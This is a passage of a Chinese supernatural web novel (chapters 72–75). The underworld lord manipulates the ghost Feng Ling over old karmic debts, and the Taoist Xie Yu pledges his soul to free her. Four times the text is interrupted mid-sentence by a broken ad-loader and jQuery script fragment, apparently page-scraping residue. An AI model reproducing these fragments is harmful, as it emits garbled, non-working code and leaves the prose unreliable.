解玉未说完的话被另一道凭空出现的声音打断,清晰得就像是被人凑在耳边喃语一般。 是谁? 解玉惊诧回头,正看见乌贺与孟婆前后脚从门外走进,更远处还隐约可见一黑一白两道影子。 “城隍主?您不是说还有公文要批阅么,怎么这时候过来了……见过泰媪大人。” 解玉抿着嘴,显然还在意着之前发生的事情,直到走近了才敷衍般一见礼。 “贵客啊……封灵卑贱之身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,竟能劳动酆都大帝亲临北地城隍庙,又纡尊踏足我这间窄仄囚房。怎么,是终于定好了我的罪名,要将我带回地府挫骨扬灰了吗?” 封灵从榻上坐起来,后背挺得笔直,佯作诧异地看向背光而站的两“人”。 酆都大帝? 可屋子里除了他们几个,哪里还有更多的人…… 解玉眼露狐疑之色,视线从孟婆的脸上掠过,又缓缓停在乌贺的身上,后退两步便站到了封灵身前,无声昭示着自己的态度。 封灵却没有要领情的意思,或者说,她根本不耐自己被人庇护的这副姿态,掀了掀眼皮便将解玉从身前拨开,坦然迎上来者的注视。 “想好继续骗我的理由了吗,冥主大人?” 封灵又问道。 虽是敬称,但在当下却与讥讽无异。 乌贺,该说是酆都大帝了,闻言朗声一笑,“我一直都知道你聪明。如今已失了通身的本事了,却还能一眼就分辨出我与乌贺的不同……该说,不愧是我地府的鬼师娘娘么?” 封灵轻嗤一声,并不多做言语。 “今日皇宫迎冥主的金像入大角观,我等特来人间领受香火。” 还是孟婆解释了一句,目光却一直停留在封灵身上。 “……泰媪大人也在啊。” 红眸似蜻蜓点水般从孟婆的脸上掠过,封灵像是才发现第二个外来者一般,摆出了十足的惊讶,“看来今天一定是个好日子,否则你们怎么会扎堆似的往我这里跑……或者,我该先恭喜你们一声?地府的灵官少说也有几百年没被人间的皇帝供奉过了,往后可算是扬眉吐气了罢?” 孟婆垂下眼睛,显得有些失落。 倒是还披着乌贺脸皮的酆都大帝一副和善的模样,“就算是罢。倒是多亏了你身边的这位道长,这次替我们省去了不少的麻烦……知道他正在你这里,我们便都过来看看。” 解玉不料酆都大帝会突然提到自己,暗道一句不好,急慌慌地便朝封灵看去,果见前者的一下子冷了表情,原本稍显平和的氛围一下子荡然无存。 “是么……那他可真有本事哪,想来日后也定会成为地府的一员干将吧!只是还得小心着些,看看我这个前车之鉴,别到最后被你们骗得连命都丢了去。” 封灵冷言讥讽。 “鬼大王,我不是……” 解玉试图解释。 “你们若是来找他的,便请另换个地方说话,不要搅了我的清静。若是来处置我的,便干脆在这里将我就地正法,一了百了……否则但有机会,我一定拉上你们所有鬼差,让你们与我一样永世不得超生!” 话到最后,已然戾气丛生。 孟婆嘴唇翕动,似乎想说些什么,却又顾及着酆都大帝在场,只能生生咽了回去。 “非也,我是来告诉你一个喜讯的。” 酆都大帝笑得意味深长。 “你的父亲和弟弟,已经被抓回地府了。” “……” 封灵怔在了原地。 72. 千年过往 “……你又想诓我?” 封灵先是一愣,旋即生出浓浓的不信。 地府若真想将他们抓回去,又何必迟上千年之久。分明就是故意放任,又以此将她困于怨恨深渊不得解脱……若说没有算计,她是半分也不信。 “多亏了你哪,咱们的鬼师娘娘……” 酆都大帝发出一声似有若无的夸赞,“你忘了自己在百望山时做下的事情了吗?范无咎给了你勾魂索,你则拿它对自己的父亲和兄弟动了手,将他们的魂打出了寄居的身体……已成孤鬼,地府自然可以拘他们回去了。” “……这就是你要抹去我记忆的原因?” 封灵直视着始终挂笑的酆都大帝,“可便是没这一出,我死后也是要找他们报仇的,您又何必多此一举,非要将我困在地府,又任由他们逍遥自在了千年之久?” 是的,她不明白。 若只是想杀了他二人以结因果,直接等自己咽气后化成恶鬼就行了。只要她沾上生人血肉,便可如当日那般,以诛杀厉鬼的名义让她魂飞魄散,封家人自然会一个不剩。 谁也不会知道酆都大帝曾与凡人有过这段过往,又哪里还会生出这千年间的许多事情——既让酆都城在人间失了威望,又使改姓后的酆家显名于各朝各代,堪比真神。 “这便得问你自己了,封灵。” 酆都大帝寻了处地方坐下,不紧不慢地开口,“当初,明明是你距我更近,却为什么是你的父亲救我一招?” 封灵眼中闪过一丝茫然。 “要不,我还是出去等吧?” 方才被封灵推开的解玉站在角落,犹犹豫豫地开口。 言涉当年之事,他似乎再没有资格继续听下去。且封灵如今本就对他生了嫌隙,若再不知好歹地留下来,只怕这条裂缝会越来越大。 孟婆先看了眼酆都大帝,见前者没有任何反应,余光从封灵的脸上掠过,这才开口:“解道长不是外人,又陪在封灵儿的身边许久,听听也无妨。” 解玉张了张嘴,还想再说些什么,却被酆都大帝抬手阻止,“道长已入此局当中,如今再想着脱身,好似也迟了些……封灵既未出声反对,道长便一起听着吧,便算是我为二位一并解惑了。” 闻言,封灵只掀了掀眼皮,到底没有多说什么。解玉便也放下心,继续默不作声地守在角落。 “……我当时人虽在生息村,却并非时刻都能与诸位见上的。点头之交的关系,原也谈不上什么特意相救,终归是您老人家与我那位‘好’父亲的因果,如何能怪到我的身上?” 封灵沉默了会,到底是什么也没想起来。 “还真是贵人多忘事哪……你若不是跑去救了那个小孩儿,本该是赶过来帮我的。若帮了我,凭你在鬼祸中积攒的功业,早于千年前便该入地府受封灵官,又怎会被他二人害到沦为恶鬼,又以无名无分的鬼师之身到如今?” 酆都大帝摇头叹息。 封灵因这话又一次陷入了沉思当中,解玉却听出了其他更多的意思。 若他没有猜错,酆都大帝只怕一早便对封灵起了招揽之心,所以才会有生息村的那场初逢,又借货商的身份停留村落迟迟没有离开。 而导致封老道人“勇救”酆都大帝的那场混乱,或许原本就是为封灵准备的,只是阴差阳错之下,最后入局的却变成了封灵的父亲。 解玉掀起眼帘,动作迅速地看了眼姿态悠闲的酆都大帝,思绪一时纷乱。 但酆都大帝既愿意授以驭鬼之术,想来最后也是认下了的,至多有些遗憾。毕竟以封灵的本事,若真按其想救扶百姓一生,早晚也是能攒够功业,跳脱轮回留于地府的……不过是时间长短的问题。 若非封老道人与封珏为求万无一失而做下了那等事情,封灵或许就是另一种结局了。 至少,不会被恶鬼的身份所困。 “那个小孩儿……她当时被人潮冲倒在路旁,根本站不起来。我若不去救她,那她不是被其他人踩死,就是做了鬼物邪祟的口粮。” “我不可能放任不管。” 到这时,封灵也终于想了起来,“但你不一样,你当时幻化的身份是个货商,身强体壮不说,身边还围着乌贺他们,便是我没有及时赶到,他们也是能救下你的……两相对比,我自然会选更需要救命的那个。” “果然是你会说出口的话,我倒也没有看错人……只可惜,父亲跟弟弟却是堆扶不上墙的烂泥。” 酆都大帝朗声大笑,不多时又直直看向封灵,“我原也不打算抹去你的记忆的,就容你死后立刻报仇也不是不行……但偏偏,你接下了我的折扇,主动与我结了因果,那之后的事情便由不得你自己做主了。” “……那折扇,分明是你主动卖给我的!” 封灵这次倒一下子想了起来,若不是被符纹缚着,只怕便要立时跳起来反驳。 “当时我的剑折断了,正苦于手里没有趁手的兵器,是你说自己在做阴阳间的买卖,沿途又搜刮了不少的好东西,其中正有我所需要的。情况紧急,我这才以物换物,从你手里买下了它们。做生意讲究的便是钱货两清,纵有因果,也早在当时就结了……分明就是你自己的托词!” 封灵怒气翻涌。 它们? 解玉的眼皮突然一跳。 “我何时说过,你用以交换的物事足够抵偿我给你的剑与折扇?” 酆都大帝嘴角的笑意愈大,但落在封灵眼里,却只觉得满满都是讥讽。 “你自己的剑断了,又从我这里买去一把新的替换,钱货两清,因果自是了结。可那柄折扇不是,你只是从我手里接过了它,却没有为此付出任何东西,当然只有因,未有果。” “呸!那把剑只用了一次便断了,分明是你故意找来的劣质品。当时又正好遇上突发的鬼祸,危急之下我才用了那柄折扇……你、你算计我!” 封灵眼前一阵发黑,若她还是个活人,这会只怕已被气出内伤来了。 “封灵,你这又是说的什么话?” 像是在看着一个不懂事的孩子般,酆都大帝的眼里满满都是无奈,“我可从来没有逼你用过它,一切都是你自己的选择。你用 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我给的折扇杀了一千只鬼,便该落入地府受我的辖御一千年……封灵,这才叫钱货两清哪!” 孟婆在这时别过了脸,显然也是知之甚细的。 封灵死死捏住身下的床板,两目通红,说话的语气更是不稳,“不知封灵是哪里入了冥主您老人家的眼,既要我偿自己的因果,又要我偿他人的因果……如今我落得这般模样,想来也没什么利用的价值了,您何不高抬贵手,就此赏我一个痛快!” “……鬼大王!” 解玉顿时失色,第一反应便是冲回榻边拦护,却发现自己不知何时被红色的绳索缚在了原地,绳尾正被孟婆攥在手里,而酆都大帝则在一旁笑呵呵地看着。 几下挣扎过后,更是连说话的机会也被剥夺,只能睁着一双焦急的眼睛注视着眼前的动静。 “封灵,你实在是一个好苗子,我是真舍不得放手。” 酆都大帝站起身,缓缓走到封灵跟前,“人间的灵气一日少过一日,不知要几百上千年才能找出一个有本事的……你的心肠太好,若不能让你留在地府,那便会被你救扶过的那些百姓立身塑像,四时奉祭,早晚会成为地仙。到时再被天宫给抢了去,我酆都城便少了一员大将,这可如何是好……” “但这也都不重要了。” 无视封灵一瞬间瞪大的红眸,酆都大帝继续道:“你的好父亲、好弟弟如今都被拘回去判罪了,你与他们的因果了结,我与他们的因果也了结……封灵,你可以重新回地府了,继续做你的鬼师娘娘,继续和孟婆他们做同僚,继续带着你身边的这个小道长游历人间,一切都不会与之前有任何的差别。” 孟婆的表情有些惊诧,显然来之前并不知道酆都大帝有此打算,当即向封灵投以希冀的目光,口中不免催促道:“封灵儿,冥主都已经发话了,你还愣着干什么?还不快应下来!” 若没有鬼师娘娘这重身份,便是酆都大帝不论封灵的罪,她回去了也还是会因恶鬼之身被投下地狱……如今能得一句赦言,实在是再好不过! “……” “……您之前不是这么想的吧?” 封灵余光扫过解玉的脸,“因为他把我拦了下来,所以您没办法用光明正大的理由毁掉我的魂魄了。您说不能让我被天宫抢了去,但也知道那事过后,我必会对地府生出隔阂,同样也不可能为地府所用。既如此,还不如寻个由头灭了我去,这样谁也捞不着好处……这才是您一开始的打算吧?” 看着笑意有些僵住的酆都大帝,封灵自心底升腾起莫名的快意,“还有那功过簿……我这段日子一直在想,为什么我抓的恶鬼反成了自己的恶业,今日听了您的话才恍然大悟。地府何曾有过鬼师娘娘,我从始至终不过是一只恶鬼,恶鬼抓恶鬼,是同类相残,天道自不会算我一分功业……可笑我自己,竟真的信了您的话,生生蹉跎了一千年。” 坐在榻上的封灵分明矮人一头,却在这一刻生出无穷的气势,仰头看着酆都大帝的眼睛里毫无惧色。 “……果然,真不愧是你哪!” 良久,酆都大帝又一次感叹起来。 73. 心中决定 “冥主大人,您如今让我做回鬼师娘娘,却只字不提我身上恶业的事情,难道不是避重就轻,或者根本就没想过让我摆脱恶鬼之身吗?” 与孟婆一瞬间变脸的神色不同,封灵如今却是愈发的畅意。哪怕脱口而出的这些话会让她失去抬手可得的生机,但只要能让酆都大帝有一丝半点的不痛快,她便觉得值得,连日来的憋闷更是一扫而光。 “……封灵儿,快别说了!” 孟婆低声制止道。 她这会儿也反应过来酆都大帝言语中的漏洞……可便是恶业不除,只要于性命无虞,其他的事情大可等回了地府再徐徐图之。她不能让封灵逞一时的口舌之快,若就此失了好不容易得来的生机,便太不值当了。 酆都大帝却不见动怒,反倒乐呵呵地阻止了孟婆还想开口的动作,两手拢在一起,只闲聊般道:“你从前对转世投胎十分的积极,如今倒什么都不在乎了,连自己的魂魄也不想再要了……封灵,你真连一丝生心也没了吗?” “……生心?” 封灵状似诧异地一挑眉,“冥主怕是说错话了吧?封灵就是只死了小一千年的女鬼,胸膛里的这颗东西早就不会跳了,又哪来什么有或者没的……我只是想到要再回去与你们这群骗子朝夕相处,便觉得浑身难受,还不如散了魂魄来的干净!” “害死你的父亲和弟弟,你也不想看着他们受苦抵罪了?” 酆都大帝又问道。 “地府自来公正,既把他们带回去了,想来是会依律判罚的,又何须我这个待罪之鬼横插一脚呢?” 话虽如此,封灵的眼中却难掩戾气,显然并没有真的放下,只是不堪被酆都大帝拿捏的违心之言罢了。 饶是被接连反驳了数次,酆都大帝的脸上仍是带着和善的笑意,状似寻常般朝角落扫过一眼,最后道:“可是,你身边的这位道长又该怎么办哪?” 解玉一怔。 “……他是人,我是鬼,什么该怎么办?” 封灵眸光微闪,“你们整日里不都喊着人鬼殊途的么……我若是没了,他自然就继续做回个普通道士了,留在人间逍遥也好,换个营生过活也罢,都与我没有关系了。” 话虽如此,却是半分不往解玉的身上看。 “就是可惜了,”酆都大帝似笑非笑,“像解道长这样洞悉事理、又一切为你打算的人,到最后却连个善终的下场都捞不着呢!” “……你什么意思?” 封灵的表情一瞬间变得阴冷,猩红双眸死死盯住酆都大帝不放,像是要从他的身上生生剜一块肉下来。 “解玉驱鬼诛邪,救助一方百姓是善事,积攒功业也无可厚非。可你别忘了,他在遇上你之前,不过是一个招摇撞骗的假道士,虽未做过什么作奸犯科的恶事,可天道照样会将他此行径算作一份恶业。如今,也不知道两相抵偿了没?” 酆都大帝状似苦恼地开口。 “更何况……” 说话间,又故意朝封灵投去意味深长的一瞥,“他当日为了你与地府诸灵官作对,你当是能够轻飘飘过去的吗?且不论被他当众挟持的黑白无常,日游神就是第一个看不惯他的。纵使他为人时的恶业能够抵除,等下了地府,录其功过、判其来生的时候,一切可就是未知之数了。” “……你以为这样就能威胁到我吗?” 封灵恨恨看了解玉一眼,咬牙道。 “若他能跟在鬼师娘娘的身边,想来很快就能成为地府的鬼差,最次也能从阴兵开始做起。可若是自己一点点苦熬,也不知要到猴年马月才能跳脱轮回之苦……” “常人之一世,功罪大抵等同,这来生为人享善终也可,为畜遭宰杀也可……就不知道你这位解道长的运气如何,又会被判以什么样的来生呢?” 顶着乌贺那张憨厚老实的假脸,酆都大帝说话间也自带三份真诚,哪怕是些不动听的丑话。 “冥主,解道长他……” 孟婆不自觉放松了手里红绳的力道,偏过头试图向酆都大帝陈情。 而突然被卷入漩涡的解玉,虽感觉到身上束缚的力道骤然变轻,整个人却还是怔怔地停在原地,脑袋一阵发懵。 他是不是耳朵坏了,否则怎么会听到酆都大帝用他来威胁封灵呢? 他如今在封灵眼里,不过是跟地府狼狈为奸,又背叛了她的小人……若换作是他,才不会理受酆都大帝的威胁,保不齐还会高兴偷袭自己的人落个如此下场。 解玉在心底嘲笑了自己一番,并不觉得酆都大帝的话能够奏效,更何况封灵还是个吃软不吃硬的脾气,就更不会在这明显的威胁下屈服了。 自觉摸准了封灵的心思,解玉倒也放松下来,根本不在乎自己以后的下场,只静静等候着酆都大帝下一场的勾诱,却偏偏在抬眼的瞬间,望见了前者眼底的挣扎与动摇。 怎么会…… 封灵为什么还要因他再犹豫不决呢? 解玉怔怔看着眼前的这抹白衣,直到后者又一次恨恨地望向他,最后发出一声压抑且不甘的轻呢,“解玉,你这混蛋……” 一瞬间,各种复杂的情绪如潮水般向解玉涌来。痛苦的,难过的,还有被鬼神利用后无能为力的悲哀。 若可以,他当然希望封灵能为他生出几分动摇,哪怕最后还是拒绝……却不是为了酆都大帝口中的大好前程,只是想借外力将封灵留下罢了。 失去记忆时,封灵靠的是消弥恶业、投胎转世的承诺,等想起一切,她的执念便换成了亲手报仇四字。可如今,承诺是假的,报仇也成了一场空,连她自己,都只是酆都大帝了结因果的一件工具……封灵她,是真的不在乎自己还有无来生了。 可解玉不愿意。 不愿意封灵的下场是魂飞魄散,不愿意她在胁迫之下重回地府行尸走肉般过活,更不愿意自己成为这一切的始作俑者。 他想要封灵一切都好,哪怕与封灵如今的期望全然相悖…… 自私在这一刻占据了上风。 看着好似被压弯了的松柏般,深深佝下背脊的封灵,还有面露舒惬,一切尽在掌握之中的酆都大帝,解玉咬紧了牙关,绷着一张脸将手攥 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得死紧,面色难看到连孟婆也投来了担忧的目光,却又在下一刻突然平静下来。 试探性的张了口,在发现自己依旧无法说出一个字以后,解玉也再没多的表情,只是看向孟婆,又点了点自己的喉咙,其下之意不言而喻。 后者劝说酆都大帝无果,回头正看见解玉的动作,无计可施之下,干脆彻底收回了缚人的绳索,只将希望寄于解玉身上。 “……敢问酆都大帝,若封灵做回鬼师娘娘,地府能否消弥她身上全部的恶业?” 解玉偏过头轻咳了两声,有一阵没说话的声音显得有些嘶哑。 “待她攒够功业,自然可以。” 酆都大帝拢着手,一副好说话的样子。 坐在榻上的封灵却发出一声不屑的轻嗤。 “……那又要如何攒够功业?” 解玉眸光微闪,又继续问道。 “若封灵点头,其后种种,自有我与她慢慢商议……道长你就不必要掺和其中了罢?” 酆都大帝看着眼前这个胆子大到敢与他应答的凡人,眼中突然略过一丝了然。带着三分可惜的语气,摇着头道:“解道长还真是好心肠哪……不过,你该比我更希望一切回到从前才对。人的寿数有限,你能陪着她再过多少年也未可知,而等到她的恶业消弥,又会忘了你转世投胎,哪一条都不是圆满的好路子。” “……解玉,何不就让她以恶鬼的身份做回鬼师娘娘。” 酆都大帝谆谆善诱,“什么都没有改变,你们也可以继续留在人间,等你死后再一起住回酆都城,谁也不会忘记了谁,岂不妙哉?” “你闭嘴!” 封灵再听不下去,猛地出声打断,又动作凶狠地将手边的杯盏掀倒在地,以示自己拒绝的态度。 屋内变得安静起来。 封灵喘了口气,勉强分了丝目光到解玉身上,又道:“你也闭嘴……我的事情还轮不到你替我操心,都给我滚出去!” “封灵,这就是地府对你的处置。” 酆都大帝拂了拂衣上的褶皱,慢条斯理地后退转身,“你的伤还没有好全,这段日子便再细细地考虑清楚,我还会再来的。” 说罢,一如来时般往屋外走去,几瞬的功夫便到了院外的空地,谢必安与范无咎也在这时候现了真身,三道影子眼看着就要消失。 “……冥主,还请冥主留步!” 解玉猝不及防,反应过来后又一下子追了出去。 屋内只剩下封灵和踟蹰不前的孟婆。 “……你们说,解玉帮了你们大忙,是怎么回事?” 封灵注视着解玉的背影远去,嘴里却是在询问孟婆。 …… “解道长,你还有什么想做的?” 酆都大帝停下来叹了口气,像是看透了解玉追上来的目的般,有些遗憾地开口。 “冥主,请您让在下代替封灵终了恶业。” 解玉正色道。 “你要救她?” “……解玉愿以生魂作抵,换封灵恶业消弥,重入轮回。” 74. 诀别衷肠 “……解道长说笑了,人鬼之界限譬如鸿沟,那是如何都不能逾越的。封灵是只死了太久的恶鬼,你又还是个活生生的人,她如何能用你的魂魄去抵消恶业呢?” 酆都大帝的笑容略收敛了些,难得好言劝说了起来,“我知道你是心疼她,否则也不会孤注一掷地替她做这么多的事情。可说到底还是彼此有别,你已经将她强留在了北地城隍庙里许多日,如今就是再舍不得,也该让她回地府去了……对你,对她,都好。” 可是,这又与屋内的说辞不同了。 黑白无常神色凝重不说,酆都大帝望向解玉的眼神也多出几分复杂难辨,遗憾尤在,却更添了三分感叹。 解玉似乎在追出来的那一瞬间就已经考虑好了一切,如今也并没有因酆都大帝的话生出半分的动摇,甚至久违地扯出了一抹堪称松快的笑—— “地府既讲因果,那我与封灵之间也是有因果的罢……把我的魂魄还给她,我与她的因果也就结了。于她,于地府,都好。” “……你什么时候发觉的?” 酆都大帝饶有兴致地问道。 “您将她身边的人与事算得如此清楚,又怎会算不到她的身边会多出一个我?或者,这根本就是您的有心放纵,又一步步看着我与她走到如今的田地……不止是封灵,我也是您手里的一枚棋子,用来确保您的因果能够万无一失地了结的棋子。” 解玉目色冷淡,哪怕在这种情况下,也从没有真的弯下自己的脊梁。 “解玉,封灵的事情冥主已有定论,”范无咎忽而开口,“你既心属于她,便该知道如今的结果已是最好,她也不必为百望山做下的事情付出任何代价,只是回到从前罢了。” “她捅我的那一剑,我回去后可是费了好大的劲儿才治好……我也什么都没说呢。” 谢必安跟在范无咎之后开口,说的虽是抱怨的话,却不带任何的敌意。 “诸位与封灵同僚千载,当比我更清楚她的性子……仇怨未消在前,遭受诓瞒在后,诸位如何让她心无芥蒂地回去?” 解玉直截了当。 “十年、百年、千年,她总有一日能转过弯来,知道我们都并非、并非……” 谢必安话说了一半,便在解玉平静的目光中败下阵来,压低了声音忿忿道:“你的法子就很好么……我还是第一次见到你这样上赶着送死的,想是平日里戏本子看多了,这时候念起来要逞英雄、做豪杰了!你倒是可以用自己的生魂做抵,难道她就一定想入轮回吗!” “你这样,不也是在替她做决定么……与我们又有什么差别?” 范无咎亦不赞同。 “……我当然知道,这也只是我自己的奢望罢了。” 解玉坦然回视,“但她为恶鬼一日,便会在不知哪日被打落地狱的威胁下过活一日。若能以我代替她的恶业,不管是转世,还是做回曾经的鬼师娘娘,都是她自己的决定,不必再被任何人以任何事情逼迫……我,只是想让封灵能够自己选择一次。” “……小儿女心思。” 谢必安冷哼一声,却没有再说什么。到底跟与封灵有交情,虽可惜解玉这一条命,但若能给封灵换些好处,也算是“死得其所”。 酆都大帝此前一直听着黑白无常说话,直到解玉出声解释以后才匀出一丝目光,“就为了一只鬼,解玉,你不要自己的来生了,也不要自己好不容易在人间得来的一切了吗?” “解玉失怙失恃,孤身一人许多年,遇见她之前也不过是个浑噩讨生活的普通人,身边并无亲眷挚友。如今能结识诸位灵官,能踏上抓鬼一途,能与皇室得少许关联,皆是因认识了她的缘故……就算通通都不要,也不过是回到原点罢了,解玉不觉可惜。” 听见酆都大帝似有松动的语气,解玉眼角眉梢都荡开了笑意。 “……看来,我还是算漏一招。” 酆都大帝哈哈大笑,“原以为你是真的贪财怕死,此事过后定会彻底与她分开,却不想贪财是真,怕死却是假……人间倒少有你这样赤心赤诚的人了。” 此话一出,无异于允了解玉所求! “多谢冥主。” 解玉深深俯首,第一次生出感激之情。 “……封灵的眼光确实不错,用你换一个她,听着也很不错。” 酆都大帝转身回看了一眼屋内,“封灵伤愈之日,便是她自由之时……解道长,那之前的日子,便当是我多留给你们的好了。” 话音刚落,酆都大帝的身影便彻底消失。 “解玉,你这下是后悔也无用了。” 范无咎深深看了解玉一眼,对眼前这个仅有数面之缘的人陡然生出两分遗憾。又拉过还想去找封灵的谢必安,朝解玉颔首一示意,也紧随其后离开。 …… 解玉在院外停留了许久,等到终于回到屋内时,孟婆竟也不见了踪影,只剩下封灵孤零零地坐在榻上。微垂着脑袋,任由青丝掩去大半面庞,连听见解玉进屋时的响动,也不过是极轻微地偏了偏脑袋。 “鬼大王,我……” 解玉近来与封灵独处时,早习惯了后者的沉默与抗拒,如今便也下意识地先开口,却不过几个字的工夫又怔愣停下。封灵主动看向了他,而后唇瓣微启—— “解玉,孟婆说……酆家的人数日前被全数投下了诏狱,他们也是在皇宫大典上拘到的封珏他们……孟婆还说,这些都是你做的。” 封灵定定注视着解玉,虽是疑问,却带着肯定。 “……是,”解玉弯了眉眼,“封珏他们害得你受苦千年,酆家人更是踩着你的血肉存世至今,享福作威。他们早就该这样了,早就该受到报应!” 否则,解玉也不会在这时候做下决定。 血仇得解,再换个无有束缚的魂,封灵才能彻底从过往中解脱。 他希望封灵解脱。 “……这是你一早便想好的吗?” 封灵的声音有些嘶哑。 “是。” 解玉又一次点头,再不做任何的隐瞒,“那次,从酆家的藏书阁回来以后,我心中便隐隐有些猜测。后来… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …又陆续遇过许多事情,都让我的怀疑一点点成真,直到最后在幽魂草的梦境里,我、我见到了你死前的模样……” 当时,他还分辨不出究竟谁才是害死封灵的人,便连封灵死时发生的事情也有许多的模糊不清。唯一刻进脑海深处的,只有女子堪称惨烈的死状,和被血水浸透了的泥地。 酆灵英约莫也看到了什么,或者他们根本就是陷入了同一场梦境,否则她醒来后也不会是那样的反应,甚至回去后一反常态地疏远了除自家父弟外的所有酆家人,甚至之后还明里暗里地帮了不少的忙…… “……你一个人,是怎么办到的?” 不知是因为想知道仇人的下场,还是不相信从来受她庇护的解玉能干出这样的事情,封灵歪着脑袋,又问出了第二个问题。 “北地城隍主介绍的那桩买卖不错——或者这本来就是他们的又一次算计……总之,他给了我结识太子的机会。” 解玉娓娓道来,“有过之前的事情,太子本来就不相信酆家人所谓的忠心。若酆家谁也不偏帮,始终效忠皇室也就罢了,可先代偏偏有扶持六皇子的旧事,他当然希望酆家带着驭鬼术就此倒台,甚至举族覆灭……国之储君,又怎么会希望自己的头上始终悬着一把尖刀呢?” “酆家人在自己的家里头失了踪影,又伤亡惨重地出现在百望山上,这是天神降罪,说明他们已经不再受地府灵官的庇佑了。” 解玉的声音无波无澜。 “我只是推了太子一把而已……皇宫奉祭先代帝后的大典,何等重要的仪式,酆家的家主和少家主缺席不说,酆家的先祖还在众目睽睽之下以恶鬼邪祟的面目出现,这不更证明了酆家并非其口中的正统,只是歪门邪道?” “你会沾上因果的……” 封灵痛苦地拧紧了眉。 “是太子和皇权容不下酆家,他们进诏狱的罪名也是假驭神灵,违逆皇室,我什么都没有做,也什么都不知情……鬼大王,我跟他们没有因果。” 解玉几步上前,两膝伏于地面,又一点点靠近封灵身前。直到近若咫尺的距离,才伸出一截指尖,试图抚平前者眉心的那道折痕。 他早就想这么做了,只是一直不敢,又一直觉得自己还能有很多很多的时间,但今日过后,他是真的再没有可能了…… 就让他逾礼一次吧。 “为什么,你为什么……” 封灵有些混乱无措地喃语。 “鬼大王……不,封灵,我就想知道,事到如今,这一切究竟是我自己的一厢情愿,还是也有谁,抱着与我一样的心思?” 解玉突然问出了口。 他本以为自己还可以用余生几十年的时间去等,等着封灵看清自己的心,等着她变习惯为自然……可如今已然等不到了,就让他最后死一次心吧。 不管是好是坏,都好过到死不知。 “……” 封灵下意识避开了那双充盈了太多感情的眼睛,藏在袖下的手却一点点攥紧。 她对解玉,到底是什么心思…… 75. 我不后悔 封灵别过眼睛,一并避开男人触到自己的那截指尖,上下唇紧闭,迟迟不发一言。 屋内一下子变得死寂。 “……应该是过来的时候被风吹得有些病了,一不留神竟胡言乱语起来了。鬼大王,你今日好好休息,我就不打扰你了。” 解玉的语气温和依旧,但眼底却闪过一丝难以察觉的黯淡,视线微微下垂,看似被压在膝下的袖角吸引了注意,实际却只是强打着精神佯装无事,心底更是不住地唾弃着自己的这番行径。 他如今这样算什么…… 挟“恩”图报的蓄谋者?还是索要身份的无名氏? 可他于封灵而言,哪里来的恩情,又哪里来的名分……范无咎其实说的没错,他所做的一切,由始至终都只是打着对封灵好的旗号的一场独角戏罢了。 是他剥夺了封灵手刃仇人的权利,也是他强行将自己的感情袒露在了封灵的面前。 他就应该什么也不说的……不管是当初对酆家做的那些事情,还是深埋自己心底的那一点小窃思,他都不应该说的。明明都是个将死之人了,为什么就是做不到将一切事情彻底带去幽冥呢…… 彻底清醒过来的解玉,被眼睑盖住的眸中满是懊恼,再回想起刚才说过的那些话,更觉得自己是个彻头彻尾的蠢物。 他大概是真的病了吧……否则又怎么会说出那样的话,还在脱口而出后生出这许多无望的期待。 毕竟连他自己,也错把第一次的心动当做害怕,又直到封灵离开以后才陡然察觉自己的心意。他是如此,又如何能要求封灵在一开始就清楚自己的心意呢? 沉默也好,至少不是直截了当的回拒。 解玉庆幸般安慰了自己几句,笑了笑便重新起身,转身刚走了两步,便听到身后有女声传来—— “解玉,你、你先等一下……” 语气尤带迟疑。 解玉的心一下子沉了下去,勉强维持着声线的平稳,“怎么了?可是身上的伤又疼了?我这就去找城隍主——” “……你闭嘴。” 封灵低斥了一句。 解玉一下子收了声,僵住背脊听候发落。 “我活着的时候太短,死后的这些年也只顾着一个虚无缥缈的承诺。很多事情,连我自己也不清楚,更遑论笃定一个结果……” 解玉的脸色一点点变得灰白。 “……但是解玉,我只知道,你是唯一一个我想要留在地府的生人。我不排斥你在我的身边,也习惯了有你在身边。” 封灵轻笑一声,“真是奇怪,我才跟你认识了多久,竟想不出来哪日你不在身边时的样子了……解玉,你是不同的,你、你和他们是不同的。” 清泠泠的女声还在空旷的屋内回荡,解玉却已经什么也听不见了,大脑一片空白,垂在两侧的手更是不住地抖动着,好不容易反应过来,又强逼着自己不能回头—— “……鬼大王,我不需要你的可怜,来之前我便把一切都想好了。” “至于我背着你做下的那些事情,你接受也好,因此对我生厌也罢,我也都受的住。我知道自己只是一个凡人,陪不了你多少年,可我不后悔,永远都不后悔。” 过去,亦或是现在,他都不会后悔。 “……你就是后悔也晚了。” 封灵的脸色依旧苍白,眼角却漾出一抹极浅的笑痕,“从上了我这艘贼船开始,你就再没办法后悔了。” “解玉,你不会有事的。” 封灵终于做下了决定,“我不会让地府为难你的,你会平安顺遂地过完一生,也会、也会得个富裕闲适的来生……你的每一世,都会是好命。” 只要她离他远远的,只要她回到地府…… “……我也是。” 背对着封灵,解玉的脸上挂着如出一辙的极淡微笑,近乎耳语般许下自己的承诺。 “你说什么?” 封灵似有所觉般偏过了脑袋,像是听见了什么,又像是什么也没听见。 “我说,我很高兴。” 解玉拾掇好了情绪,回过头来已然一脉的平静,“鬼大王,你好好养伤,我去侧殿给你续些香蜡,明日再过来守着你。” “……好,我等你。” 心底的某一处突然就空了下去,像是在提醒着什么一般,封灵的眼皮无端端地跳了好几下。她一下子有些无所适从起来,只好又重复了一句—— “我等你。” “记住了!” 解玉沉默了一瞬,还是扬声应了下来。 将封灵的模样牢牢刻进心底,解玉恋恋不舍地转身,终是再不停留地离开。 …… 第二日,解玉没有出现在封灵面前。 第三日、第四日……一直到封灵彻底养好身体的那日,解玉都没有再露过一面。 这期间,乌贺倒来过不少次,偶尔也会有不请自来的孟婆或是谢必安。他们一来,也不管封灵是何态度,哪怕在阖眸假寐,又或是闭口不语,都会坚持在她的那间屋子里停个大半日才离开。 像是手里头没有任何差事般,漫无边际地与她说些有的没的闲话。次数多了,她偶尔听不下去的时候,也会出声应一两句。但不管她说什么,只要一提到解玉,他们便会默契地另起话头,实在扭转不过去时便干脆闭嘴。 